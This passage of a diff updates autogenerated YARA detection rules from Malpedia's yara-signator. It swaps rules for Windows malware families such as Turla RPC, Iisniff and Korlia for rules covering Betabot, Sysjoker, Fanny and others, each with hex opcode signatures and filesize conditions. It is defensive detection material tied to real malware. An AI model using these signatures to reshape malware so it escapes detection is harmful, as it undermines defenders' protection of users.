8b8d18fdffff 8bf1 0fa4c119 } condition: - 7 of them and filesize < 1573888 + 7 of them and filesize < 598016 } -rule MALPEDIA_Win_Tapaoux_Auto : FILE +rule MALPEDIA_Win_Remy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "92f6e706-3399-5d0e-9b67-afc2a01b11c8" + id = "e336b399-c824-5cff-9d79-2b28637c647b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tapaoux" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tapaoux_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.remy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.remy_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "d4ad8726a2edee7cde7a56aa56890c668a33f52c080a12cbfff5c16b6a3c4a03" + logic_hash = "78b349d77eab72ccd2cb565c0bcdfc5bac491569a0a70fac7617d2ce3551a21d" score = 75 quality = 75 tags = "FILE" @@ -122128,32 +122074,32 @@ rule MALPEDIA_Win_Tapaoux_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 57 8d442418 68???????? 50 e8???????? 8b07 } - $sequence_1 = { 8b4c243e 81e2ffff0000 25ffff0000 52 8b54243e 50 8b442440 } - $sequence_2 = { ff15???????? 8a842410050000 83c410 33db } - $sequence_3 = { 5b 81c408040000 c3 8b84241c040000 8b4b04 } - $sequence_4 = { 83c40c 85c0 56 7d16 } - $sequence_5 = { 8d442410 50 e8???????? 8b8c2428010000 83c404 } - $sequence_6 = { 8b44241c 8d542410 52 8d8c24d8060000 50 51 57 } - $sequence_7 = { 83c410 85c0 7507 b850000000 eb09 50 e8???????? } - $sequence_8 = { 8be8 0fbe03 50 e8???????? 83c408 3bc5 } - $sequence_9 = { 84c0 74c5 3bf7 7ccf 5f 5e 5d } + $sequence_0 = { 668945e1 8845e3 8b4508 885ddc 50 b808000000 8d5ddc } + $sequence_1 = { 899c24a0000000 89bc24c0000000 899c24c4000000 899c24c8000000 8b442410 8d542418 52 } + $sequence_2 = { 83c404 8db558ffffff e8???????? c645fc01 8b08 8bb564ffffff 8d41f0 } + $sequence_3 = { 746e 50 e8???????? 8bf0 eb66 8d4de0 } + $sequence_4 = { 8b4d20 b802000000 c745fc00000000 51 6689459c ff15???????? } + $sequence_5 = { 8d8d4cffffff 8d9548feffff 898500feffff 898d04feffff 899508feffff 8d853cffffff 8d8d94feffff } + $sequence_6 = { c70001000000 8b4620 50 895dac 895da8 ff15???????? 83f8ff } + $sequence_7 = { c684243003000002 c7842480010000fe454c35 66c7842484010000fe4c c684248601000000 8d842480010000 800027 40 } + $sequence_8 = { 52 6806100000 68ffff0000 56 ff15???????? 6a04 8d45d0 } + $sequence_9 = { 8bce e8???????? 837e1410 7202 8b36 8d472c } condition: - 7 of them and filesize < 292864 + 7 of them and filesize < 507904 } -rule MALPEDIA_Win_Taintedscribe_Auto : FILE +rule MALPEDIA_Win_Kdcsponge_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f6a7e40a-4fa2-5a81-9780-0a7ba8af1fba" + id = "31a4aae6-c5e0-50ee-8647-19b734337847" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.taintedscribe" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.taintedscribe_auto.yar#L1-L114" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kdcsponge" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kdcsponge_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "410c49d2a558db92d0096ecc5bd9fc38bcaad1e641a570b26cd7d6d98ec29d7e" + logic_hash = "797313fd55f6c292fca430846a21ff5b3c78f0f888b26a3429a3aef947194551" score = 75 quality = 75 tags = "FILE" @@ -122167,32 +122113,32 @@ rule MALPEDIA_Win_Taintedscribe_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bcf 0facd110 c1fa10 0fb65330 } - $sequence_1 = { 5e 8be5 5d c20800 c7460c00000001 } - $sequence_2 = { 8b5358 898d88fbffff 8b4b50 0f94c0 } - $sequence_3 = { 8d5594 52 6a04 8d4590 50 56 } - $sequence_4 = { 8bd7 8b7b40 0facc218 c1f818 8a4340 } - $sequence_5 = { 8b4dcc 894308 8b45d0 50 } - $sequence_6 = { 5b 5d c20c00 83f803 7574 } - $sequence_7 = { 898da8fbffff 8d45e8 8985b4fcffff 8b433c 8bd0 8d4ddc } - $sequence_8 = { 6a00 6a00 ff15???????? 85c0 7516 } - $sequence_9 = { bb01000000 d3e3 33c0 85db 7e1e 8d4900 } + $sequence_0 = { 80fa01 751c 80bbc204000000 7709 80bbbc0400000f 740a c783a004000002000000 } + $sequence_1 = { 41b800100000 488d442440 48894c2448 4889442428 488d0d3bdd0200 4c89742420 ff15???????? } + $sequence_2 = { 894364 0fb601 488bcb ff14c2 83bb7804000010 750c d1bb44040000 } + $sequence_3 = { 754d 83ba4404000020 7c0f c7826004000004000000 8d4804 eb0f c7826004000002000000 } + $sequence_4 = { 4883c8ff 807c030100 488d4001 75f5 448d4801 } + $sequence_5 = { 7514 4183b85004000004 750a 4180b8a604000000 740a 488d4201 488b5c2408 } + $sequence_6 = { 0fb64101 c1e806 898348040000 83f803 0f84d6000000 488d8b10010000 c7436000001900 } + $sequence_7 = { 4053 4883ec20 80b9c304000001 488bd9 0f853d010000 80b9b004000001 0f850a020000 } + $sequence_8 = { b800001100 b900001400 0f44c1 894360 7507 c683c504000005 488d8b10010000 } + $sequence_9 = { e9???????? 33d2 418bcd 448d4201 e8???????? 488b542440 4c8d1ddb420100 } condition: - 7 of them and filesize < 524288 + 7 of them and filesize < 720896 } -rule MALPEDIA_Win_Unidentified_113_Auto : FILE +rule MALPEDIA_Win_Atharvan_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "026f5486-b8e6-5386-ab78-8b52aa522545" + id = "dd431719-94ae-5231-a751-29bdaf0704ba" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_113" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_113_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atharvan" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.atharvan_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "c4dbb7c789bd37f81bad9c32be7e0c5fc26b7a85c7d9e53aaac6f7a0dd9d408f" + logic_hash = "19e37c8e9adb39c411ba39c49044a47b42d2c1f02c40c66504cd4acf945815d9" score = 75 quality = 75 tags = "FILE" @@ -122206,32 +122152,32 @@ rule MALPEDIA_Win_Unidentified_113_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 83c408 be08000000 e9???????? 83f904 0f82a2000000 807c19fe3e } - $sequence_1 = { ff742434 ff15???????? ff74243c ff15???????? 57 ff15???????? 8b8c2468030000 } - $sequence_2 = { e8???????? 83c40c 8b4c2410 83c502 83d100 894c2410 85c0 } - $sequence_3 = { ff74242c 55 57 e8???????? 55 8bf8 e8???????? } - $sequence_4 = { ffd6 ff742414 ffd6 8b8c247c040000 5e 33cc e8???????? } - $sequence_5 = { ff7630 e8???????? 6a38 6a00 56 e8???????? 8b4710 } - $sequence_6 = { ff15???????? 8bd8 899da0feffff 85db 0f84fc030000 0f1f440000 ff15???????? } - $sequence_7 = { e8???????? 89442424 83c408 8bc7 837c241c00 0f44d8 53 } - $sequence_8 = { c785acf3ffff00000000 0fb608 8bd1 c785b0f3ffff00000000 c785b4f3ffff00000080 83ea01 741d } - $sequence_9 = { ff7020 8d44242c 50 8b442434 50 8b4020 ffd0 } + $sequence_0 = { f6d1 80c103 8848ff 4883ea01 75eb 448b8504010000 488bd5 } + $sequence_1 = { 4885c0 7441 48c7c1ffffffff 0f1f4000 48ffc1 803c0800 } + $sequence_2 = { 895128 488d0d9fc10000 488b45d8 488908 488d0d915b0100 488b45d8 } + $sequence_3 = { 0fb601 84c0 75f1 488d4c2468 b0c2 } + $sequence_4 = { 48c1f806 4c8d0504f50000 83e23f 488d14d2 498b04c0 f644d03801 7424 } + $sequence_5 = { ff15???????? 85c0 0f842f010000 b901001000 } + $sequence_6 = { 488b08 488d05b8330100 483901 7408 488b09 e8???????? 488b03 } + $sequence_7 = { ff15???????? 488bd8 4883f8ff 742b 448d460e 488bc8 } + $sequence_8 = { 4533d2 498bd2 4885ff 7e1f 4c8d05179dfeff 4b8b8ce070550200 } + $sequence_9 = { 458be0 c7442469cf968ed8 4c8bea c744246d8dc8c4cf } condition: - 7 of them and filesize < 4707328 + 7 of them and filesize < 348160 } -rule MALPEDIA_Win_Telepowerbot_Auto : FILE +rule MALPEDIA_Win_Sysjoker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4bff86f2-d32a-5469-938e-31ce8cf733ec" + id = "8b72fee4-7a5b-522c-b325-1510979cb981" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.telepowerbot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.telepowerbot_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sysjoker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sysjoker_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "80a377e11ec6e9ac3641490e489c4670d07e0d249413d61709ebf14e5db777cd" + logic_hash = "a2a2517e767f1ff0b106f5e891c93f19537f3a0c72ffc8109655f6e04ec30bb0" score = 75 quality = 75 tags = "FILE" @@ -122245,32 +122191,32 @@ rule MALPEDIA_Win_Telepowerbot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a01 68???????? 6a01 50 68???????? ff75f8 ffd6 } - $sequence_1 = { 817848d0924100 7409 ff7048 e8???????? 59 } - $sequence_2 = { ff348518234100 52 51 e8???????? 83c40c } - $sequence_3 = { 43 03c3 03c7 ff348518234100 52 51 e8???????? } - $sequence_4 = { eb55 0fb607 0fbe8800914100 41 894dd4 3bca 0f8f9e010000 } - $sequence_5 = { f20f59db 660f282d???????? 660f59f5 660f28aaf05e4100 660f54e5 660f58fe 660f58fc } - $sequence_6 = { eb07 8b04f5cc4e4100 5f 5e 5b } - $sequence_7 = { 8b8d84f8ffff 85c9 0f84b5050000 8b048d5c3d4100 8985a8f8ffff } - $sequence_8 = { c1ff06 6bd838 8b04bdf09d4100 f644032801 7444 837c0318ff } - $sequence_9 = { 85c9 0f84b5050000 8b048d5c3d4100 8985a8f8ffff 85c0 7562 } + $sequence_0 = { 8b4f24 3b4f18 0f83ad060000 8b4714 46 891488 e9???????? } + $sequence_1 = { c745d40f000000 c645c000 c78564ffffff90a34400 e8???????? 8d8558ffffff c78554ffffff90a34400 50 } + $sequence_2 = { c78500fdffff00000000 33f6 8b3d???????? 89bde0fcffff 0f1f8000000000 } + $sequence_3 = { 0f837a100000 8b8fd8000000 85c9 742f 83bfdc00000008 8d87c8000000 } + $sequence_4 = { 0f84aafeffff 8b8d6cffffff 2bca 8bc2 83e1fc 81f900100000 } + $sequence_5 = { e8???????? 8b45ec 80780d00 74ae 3975dc 0f845e010000 } + $sequence_6 = { 8901 51 8bcc c645fc2a 68???????? e8???????? 8d4dc8 } + $sequence_7 = { 0f8714010000 52 51 e8???????? 83c408 c645fc01 8b8d48feffff } + $sequence_8 = { 52 8b01 ff5004 51 8bf4 89a5f4fcffff } + $sequence_9 = { 8906 c645fc12 e8???????? 83c408 e8???????? 8bc8 85c9 } condition: - 7 of them and filesize < 237568 + 7 of them and filesize < 832512 } -rule MALPEDIA_Win_Iisniff_Auto : FILE +rule MALPEDIA_Win_Himan_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5f9ab050-d8e9-5f55-b8de-0b8b687ab914" + id = "ed257a76-43f6-55c0-abc7-4725d6aa2228" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.iisniff" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.iisniff_auto.yar#L1-L173" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.himan" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.himan_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "a06a69af46b33b23bbf69f750fc8ce55147252095bace2f8e829199a964e0a2d" + logic_hash = "ca6405bd6a0987e5f551c0a2e97e9d04936f65f5adde6e64c734768ea5c267b3" score = 75 quality = 75 tags = "FILE" @@ -122284,39 +122230,34 @@ rule MALPEDIA_Win_Iisniff_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b8c240c000100 56 8d842414000100 50 51 8d542410 52 } - $sequence_1 = { 7413 0fb7542418 8b44241c 50 89570c ff15???????? 8b4f60 } - $sequence_2 = { 51 89742478 e8???????? 8b8c2450010000 83c404 5f } - $sequence_3 = { e8???????? 8b550c 8b02 89450c 3b35???????? 7442 } - $sequence_4 = { 83c710 e8???????? 59 8b4c2414 50 56 6a03 } - $sequence_5 = { 8bc7 c20400 55 8bec 56 57 8b7d08 } - $sequence_6 = { 6a00 e8???????? c745fcffffffff 8b45dc 8b08 8b5104 8b440228 } - $sequence_7 = { 8d8424d0010000 50 89442430 e8???????? } - $sequence_8 = { 037dbc 8d5d94 8d75d4 e8???????? 8bf0 e8???????? 8b4dcc } - $sequence_9 = { 52 8d842434010000 50 8d4c2420 } - $sequence_10 = { 6a03 68000000c0 68???????? ff15???????? 6a02 } - $sequence_11 = { 837d1000 57 8bf9 7e5f 53 8b5d08 56 } - $sequence_12 = { 6a02 e8???????? 83bc24f000000010 8b8424dc000000 7307 8d8424dc000000 ffb424ec000000 } - $sequence_13 = { 59 5e 5b 8b8c243c010000 33cc e8???????? } - $sequence_14 = { 8b7d08 33db 68ff0f0000 8d8424cd000000 53 50 889c24d4000000 } + $sequence_0 = { 8b4608 57 57 57 50 } + $sequence_1 = { 33d5 8bee 81e5ff000000 c1ee08 3314adbcba6e00 8b28 } + $sequence_2 = { 8bf9 85c0 7505 e8???????? 8b442418 8b4c2414 } + $sequence_3 = { 8a83bc986e00 2bc8 8a11 eb02 32d2 8ac2 8aca } + $sequence_4 = { c1e604 0bce 7c0b 83f940 } + $sequence_5 = { ffd5 85c0 74d4 8b442438 85c0 74cc 03f0 } + $sequence_6 = { c1ee10 8bd7 81e6ff000000 c1ea08 8b2cb5bca16e00 81e2ff000000 } + $sequence_7 = { 8d4c2414 50 51 52 ff15???????? 85c0 7478 } + $sequence_8 = { 83c408 85c0 7451 8d8c24e0000000 68???????? 51 } + $sequence_9 = { f3ab 8d44241c 50 ff15???????? 8d4c2418 68???????? 51 } condition: - 7 of them and filesize < 1441792 + 7 of them and filesize < 139264 } -rule MALPEDIA_Win_Korlia_Auto : FILE +rule MALPEDIA_Win_Fanny_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "506d7e40-9719-5cd2-8082-4c83f4ea46d2" + id = "e9aa21a1-9e7c-5e0d-923d-00e6b6ec80ca" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.korlia" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.korlia_auto.yar#L1-L483" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fanny" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fanny_auto.yar#L1-L171" license_url = "N/A" - logic_hash = "35dbce2c60635b96058b21e359bfd25de3754320395854f3bf9872914070ac08" + logic_hash = "b1e6181f341236f9aaf561cfa6c0c3a83917a87202fe2ed6a96ef4c3d3c432e2" score = 75 - quality = 50 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -122328,75 +122269,38 @@ rule MALPEDIA_Win_Korlia_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a28 68???????? 6aff 53 } - $sequence_1 = { 8bfa f7ef c1fa14 8bc2 c1e81f } - $sequence_2 = { 0f9445e4 5b 59 5a c745fcffffffff } - $sequence_3 = { c3 85db 7410 6a28 } - $sequence_4 = { 53 6a00 6a00 ffd6 ff15???????? 8bf8 b83bd4b531 } - $sequence_5 = { 51 68???????? 68???????? ffd6 b905000000 } - $sequence_6 = { 85c0 7507 53 ff15???????? 55 } - $sequence_7 = { ffd6 8bc7 b980ee3600 99 f7f9 b873b2e745 } - $sequence_8 = { 53 6a01 53 53 53 51 ff15???????? } - $sequence_9 = { 8b442404 56 6a00 6a00 6a01 } - $sequence_10 = { 6a01 6a00 6a00 6800000040 50 ff15???????? 8bf0 } - $sequence_11 = { e8???????? 8a4c2404 6a01 884814 8b4c240c } - $sequence_12 = { 7423 8b542410 8b44240c 8d4c2408 6a00 51 } - $sequence_13 = { 8b4c240c 898840200000 58 c20800 e9???????? } - $sequence_14 = { 50 56 ff15???????? 56 ff15???????? b001 } - $sequence_15 = { 59 59 c3 8b65e8 ff7588 ff15???????? 833d????????ff } - $sequence_16 = { ff15???????? 833d????????ff 750c ff742404 ff15???????? 59 c3 } - $sequence_17 = { ff15???????? 8bf0 83feff 7423 8b542410 } - $sequence_18 = { f2ae f7d1 2bf9 6810270000 } - $sequence_19 = { ff742410 ff742410 ff742410 e8???????? c21000 e8???????? 8a4c2404 } - $sequence_20 = { 8bf9 81e7ff000000 03f2 03f7 } - $sequence_21 = { b8447c0000 e8???????? 53 56 57 } - $sequence_22 = { 6a00 680030c800 6a00 6a00 68???????? } - $sequence_23 = { 8b542438 83c504 50 895500 } - $sequence_24 = { 8d442444 894d00 8b542438 83c504 } - $sequence_25 = { 6a00 6880000000 6800000400 8bce e8???????? } - $sequence_26 = { ffd6 8d44240c 6804010000 50 } - $sequence_27 = { 51 ff15???????? a1???????? b981000000 } - $sequence_28 = { 6a00 6a00 6a00 50 8bce e8???????? 6a00 } - $sequence_29 = { 85c0 750c ff15???????? 53 } - $sequence_30 = { 7403 50 ffd6 b912010000 } - $sequence_31 = { 56 57 b940000000 8d7c2411 88442410 f3ab } - $sequence_32 = { ff15???????? 50 ff15???????? 68d0070000 ff15???????? } - $sequence_33 = { 8d4c2410 6804010000 51 aa ff15???????? } - $sequence_34 = { 3bc3 57 740b 8b35???????? 50 ffd6 } - $sequence_35 = { ffd6 eb06 8b35???????? a1???????? 3bc3 7403 50 } - $sequence_36 = { 83c414 e8???????? 6a00 6a00 8d542414 } - $sequence_37 = { 6a00 8d542414 6a00 52 68???????? 6a00 } - $sequence_38 = { 68???????? 6801000080 ff15???????? 85c0 0f8599000000 53 56 } - $sequence_39 = { 33c0 8dbc245e020000 66899c245c020000 f3ab } - $sequence_40 = { 56 68ff0f1f00 ff15???????? 85c0 740a 56 } - $sequence_41 = { f3ab aa b9f9000000 33c0 } - $sequence_42 = { 5e 24fe 5b 40 81c408010000 c3 83c8ff } - $sequence_43 = { 83c41c 8d5c1850 83c520 41 81fb00200000 } - $sequence_44 = { 52 ff15???????? 85c0 8945dc } - $sequence_45 = { e9???????? c745e0a08b4100 e9???????? c745e0a88b4100 e9???????? } - $sequence_46 = { 8d8c24782c0000 50 51 e8???????? 83c41c 85c0 7443 } - $sequence_47 = { 8a443b28 88443328 46 88543b28 81fe80000000 7ccb 8b4dfc } - $sequence_48 = { 68???????? 50 c745c8f4010000 ff15???????? 8b4dec 8bf0 51 } - $sequence_49 = { 57 8d1c8584bf4100 33c0 f00fb10b 8b15???????? 83cfff 8bca } - $sequence_50 = { c785e4edffff0c000000 c785e8edffff00000000 c785ecedffff01000000 ff15???????? 8d8580edffff 50 ff15???????? } - $sequence_51 = { 50 8d8424ac010000 50 51 } - $sequence_52 = { 83e908 8d7608 660fd60f 8d7f08 8b048d144e4000 ffe0 f7c703000000 } + $sequence_0 = { e8???????? 8d4dd8 e8???????? 8b45b4 } + $sequence_1 = { 8b7d0c 8bf7 8b4508 3bc3 0f84b8020000 } + $sequence_2 = { a2???????? 8d45fc 50 8d45f0 a4 6a08 50 } + $sequence_3 = { 57 895df0 740b c1e809 894df4 c1e009 eb03 } + $sequence_4 = { 5d c3 66c78594fbffff6800 b903000000 8dbd90fbffff 8db5d0fbffff 33d2 } + $sequence_5 = { 8b4c2408 33f6 8901 8bc6 } + $sequence_6 = { 50 6808100000 56 ffd7 8b0d???????? } + $sequence_7 = { 83780c00 7422 8b4dfc 83790400 7419 8b55fc 837a0800 } + $sequence_8 = { e8???????? 8b45d0 50 8b4d08 51 } + $sequence_9 = { 894508 8b5510 83ea05 895510 eb09 } + $sequence_10 = { e9???????? 8b5508 0fb602 3d90000000 753b 8b4d08 } + $sequence_11 = { f3ab 66ab aa 8a4508 } + $sequence_12 = { 5b 5d c3 55 8bec 83ec2c 8065ff00 } + $sequence_13 = { 832700 6800800000 6a00 53 ff15???????? } + $sequence_14 = { 8b45fc 83c012 50 ffd3 8bf0 59 } + $sequence_15 = { 8913 751b c745fc01000000 ff33 ff15???????? } condition: - 7 of them and filesize < 263168 + 7 of them and filesize < 368640 } -rule MALPEDIA_Win_Turla_Rpc_Auto : FILE +rule MALPEDIA_Win_Betabot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "555582c7-de4a-5625-91e9-ac0b0e0d564c" + id = "dcaf48d4-507f-5b26-9a58-f3ffaf812c78" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.turla_rpc" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.turla_rpc_auto.yar#L1-L170" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.betabot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.betabot_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "4906b07261ee80939dba34c531f28e5f2b514d7751640e2e81057387fedbb8f3" + logic_hash = "64a375dcaabd1648c075b4080e903b454efe58d8f528e81ccff7ee3035b4b817" score = 75 quality = 75 tags = "FILE" @@ -122410,38 +122314,32 @@ rule MALPEDIA_Win_Turla_Rpc_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c785080100003025213c 66c7850c0100003a3b c6850e01000055 c745c007303431 } - $sequence_1 = { 488bd8 ffd3 488d4d70 488bf8 ffd3 } - $sequence_2 = { 660f6f05???????? 66c785ec0000000255 c785a0000000193a3431 c785a4000000193c3727 c785a800000034272c02 f30f7f8568010000 c685ac00000055 } - $sequence_3 = { c785c400000027273a27 c785c8000000183a3130 c685cc00000055 c785c001000030362155 c745d002273c21 c745d430133c39 66c745d83055 } - $sequence_4 = { 66c74424543155 c744243033273030 c644243455 c744244033263030 } - $sequence_5 = { c745b06970746f c745b472536163 66c745b86c00 ff15???????? } - $sequence_6 = { c7456016273034 c745642130133c c7456839300255 c7851001000016273034 c7851401000021300527 c785180100003a363026 } - $sequence_7 = { f30f7f8d98010000 c785b800000027273a27 c685bc00000055 c685d801000055 } - $sequence_8 = { c685d801000055 f30f7f85b0010000 660f6f05???????? c7858000000012302101 c7858400000030382505 } - $sequence_9 = { 68???????? 6a00 6a00 ff15???????? 6a00 6aff 68d2040000 } - $sequence_10 = { c745f474006c00 c785c8feffff14010000 ff15???????? 85c0 750e 50 50 } - $sequence_11 = { 8d45bc 50 ff15???????? 85c0 0f8581000000 } - $sequence_12 = { 7514 8d45ac 50 ff15???????? 8bf8 85ff 0f8434010000 } - $sequence_13 = { 5d c3 6a00 6800000080 6a02 } - $sequence_14 = { e8???????? cc 56 33f6 ffb614730110 ff15???????? } - $sequence_15 = { 833d????????00 0f85d3240000 ba05000000 8d0d10700110 e9???????? } + $sequence_0 = { f7d0 2345fc eb02 33c0 c9 c20800 55 } + $sequence_1 = { ff15???????? 85c0 7413 8d4df8 e8???????? 50 8d45f8 } + $sequence_2 = { 7440 8d45f4 50 8d45f8 50 ff75fc ff15???????? } + $sequence_3 = { 8bc6 83e80c 53 57 741d 48 7551 } + $sequence_4 = { 8bec 81ecac000000 8365f800 8365f000 8365f400 8365fc00 } + $sequence_5 = { ff15???????? 85c0 7504 6a06 eb11 68???????? } + $sequence_6 = { 741a 837df800 7414 8b45f8 8b4804 e8???????? 8945fc } + $sequence_7 = { a3???????? 8bc7 5f 5e 5d c20400 55 } + $sequence_8 = { ff15???????? 85c0 75df 6a32 58 ebdc 55 } + $sequence_9 = { 8d04b8 833800 7414 ff30 ff45fc e8???????? 8b460c } condition: - 7 of them and filesize < 311296 + 7 of them and filesize < 835584 } -rule MALPEDIA_Win_Chinotto_Auto : FILE +rule MALPEDIA_Win_Client_Maximus_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "35bb4fea-9679-5e3a-b2bd-3a05c48c1c83" + id = "38a249dd-6d8f-54ce-920d-61d566c5cc15" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chinotto" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chinotto_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.client_maximus" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.client_maximus_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "4531bba6bf5c08578cccf53130069c66edf41ca25754f112d734535821ebc612" + logic_hash = "5ff2445dece4914e3eb7fbfccded1318ff7646d3eb9b7b22684fe253e9bf4e40" score = 75 quality = 75 tags = "FILE" @@ -122455,32 +122353,32 @@ rule MALPEDIA_Win_Chinotto_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b4df0 897df4 895de4 8955f8 85c9 0f853dffffff e9???????? } - $sequence_1 = { 57 33f6 bf???????? 833cf5a4e6410001 751d 8d04f5a0e64100 8938 } - $sequence_2 = { 8985a8f6ffff 8d95b4f6ffff 52 8d85c4f6ffff 50 c785a0f6ffff0c000000 } - $sequence_3 = { c3 8b4d08 8b5648 8b45f4 c74638c0444000 897644 897a3c } - $sequence_4 = { 5d c3 8b4de0 8b55d8 8b45ec c1e106 034ddc } - $sequence_5 = { 8bd0 8955d8 eb03 8955d8 } - $sequence_6 = { 50 ff15???????? 8b853cf7ffff 03c3 50 e8???????? 8b8d38f7ffff } - $sequence_7 = { b969000000 66894de2 b96f000000 66894de4 b96e000000 66894de6 b93d000000 } - $sequence_8 = { 8b5628 6a58 6a01 51 } - $sequence_9 = { 6683f919 7725 8d4805 83f97a 7e08 83c0eb 0fb7c0 } + $sequence_0 = { 89542404 ff532c 8b5308 83c601 39730c } + $sequence_1 = { 8b4304 85c0 741d 8b5330 c744240800800000 c744240400000000 890424 } + $sequence_2 = { 890424 8954240c ff5320 ff15???????? 895c2408 } + $sequence_3 = { c70424???????? ffd0 a1???????? 85c0 7438 } + $sequence_4 = { e8???????? 8b4304 85c0 741d 8b5330 c744240800800000 c744240400000000 } + $sequence_5 = { 85c0 741d 8b5330 c744240800800000 } + $sequence_6 = { 7410 8b5330 890424 89542404 ff532c 8b5308 } + $sequence_7 = { 89c2 85d2 7409 c70424???????? ffd2 8d65f8 } + $sequence_8 = { 8b4628 85c0 7535 c70424???????? } + $sequence_9 = { 85c0 741d 8b5330 c744240800800000 c744240400000000 890424 } condition: - 7 of them and filesize < 300032 + 7 of them and filesize < 106496 } -rule MALPEDIA_Win_Hamweq_Auto : FILE +rule MALPEDIA_Win_Miragefox_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "000e8959-0108-5c25-ad30-8e891fdada1d" + id = "845d5292-b7ea-5816-ae3f-26f365bc2587" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hamweq" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hamweq_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.miragefox" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.miragefox_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "5208d20513fd6a1e5edd1bc25c2bf088fa1869066d91ad8af3cf21319dcb16db" + logic_hash = "3f9732b4e7f509d0ad8d4d1803424245eb1ca2a613f2fd892ba39e0af22d7971" score = 75 